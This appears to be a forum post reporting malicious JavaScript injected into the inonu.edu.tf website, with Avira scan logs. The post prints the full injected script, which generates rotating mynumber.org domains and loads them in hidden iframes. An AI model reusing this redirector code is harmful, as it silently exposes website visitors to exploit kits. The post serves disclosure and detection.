http://inonu.edu.tf/

fireold

1. function nextRandomNumber() {
   
2.     var hi = this.seed / this.Q;
   
3.     var lo = this.seed % this.Q;
   
4.     var test = this.A * lo - this.R * hi;
   
5.     if (test > 0) {
   
6.         this.seed = test;
   
7.     } else {
   
8.         this.seed = test + this.M;
   
9.     }
   
10.     return (this.seed * this.oneOverM);
    
11. }
    
12. 
    
13. function RandomNumberGenerator(unix) {
    
14.     var d = new Date(unix * 1000);
    
15.     var s = Math.ceil(d.getHours() / 3);
    
16.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
    
17.     this.A = 48271;
    
18.     this.M = 2147483647;
    
19.     this.Q = this.M / this.A;
    
20.     this.R = this.M % this.A;
    
21.     this.oneOverM = 1.0 / this.M;
    
22.     this.next = nextRandomNumber;
    
23.     return this;
    
24. }
    
25. 
    
26. function createRandomNumber(r, Min, Max) {
    
27.     return Math.round((Max - Min) * r.next() + Min);
    
28. }
    
29. 
    
30. function generatePseudoRandomString(unix, length, zone) {
    
31.     var rand = new RandomNumberGenerator(unix);
    
32.     var letters = "qmahgwctopfjilrfpjrfcwgewheizwdw".split('');
    
33.     var str = '';
    
34.     for (var i = 0; i < length; i++) {
    
35.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
    
36.     }
    
37.     return str + '.' + zone;
    
38. }
    
39. 
    
40. setInterval(function() {
    
41.     try {
    
42.         if (typeof iframeWasCreated == "undefined") {
    
43.             var unix = Math.round(+new Date() / 1000);
    
44.             var domainName = generatePseudoRandomString(unix, 16, 'mynumber.org');
    
45.             ifrm = document.createElement("IFRAME");
    
46.             ifrm.setAttribute("src", "http://" + domainName + "/in.cgi?14");
    
47.             ifrm.style.width = "0px";
    
48.             ifrm.style.height = "0px";
    
49.             ifrm.style.visibility = "hidden";
    
50.             document.body.appendChild(ifrm);
    
51.             iframeWasCreated = true;
    
52.         }
    
53.     } catch (e) {
    
54.         iframeWasCreated = undefined;
    
55.     }
    
56. }, 100);

复制代码

Avira

2013/9/5 下午 06:45 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        840
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/9/5 下午 06:45 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\jquery[5].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.73' [virus]
      已採取動作：
      檔案會移動至 '5455c359.qua' 名稱底下的隔離區目錄。.

2013/9/5 下午 06:45 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        844
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/9/5 下午 06:45 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\R8AOCKPW\imgbubbles[1].js'
      包含病毒或有害的程式 'JS/iFrame.RR' [virus]
      已採取動作：
      檔案會移動至 '54e6c0d5.qua' 名稱底下的隔離區目錄。.

2013/9/5 下午 06:43 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\R8AOCKPW\imgbubbles[1].js 中
      偵測到病毒或有害的程式 'JS/iFrame.RR [virus]'
      執行的動作：傳輸至掃描程式

2013/9/5 下午 06:42 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\R8AOCKPW\imgbubbles[1].js 中
      偵測到病毒或有害的程式 'JS/iFrame.RR [virus]'
      執行的動作：拒絕存取

2013/9/5 下午 06:42 [Web Protection] 發現惡意程式碼
      從 URL "http://inonu.edu.tf/imgbubbles.js" 存取資料時，
      發現病毒或有害的程式 'JS/iFrame.RR' [virus]。
      已採取動作：已略過

2013/9/5 下午 06:42 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\jquery[5].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.73 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/5 下午 06:42 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\AVC3APW1\jquery[5].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.73 [virus]'
      執行的動作：拒絕存取

2013/9/5 下午 06:42 [Web Protection] 發現惡意程式碼
      從 URL "http://inonu.edu.tf/clientscript/jquery.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.W.73' [virus]。
      已採取動作：已略過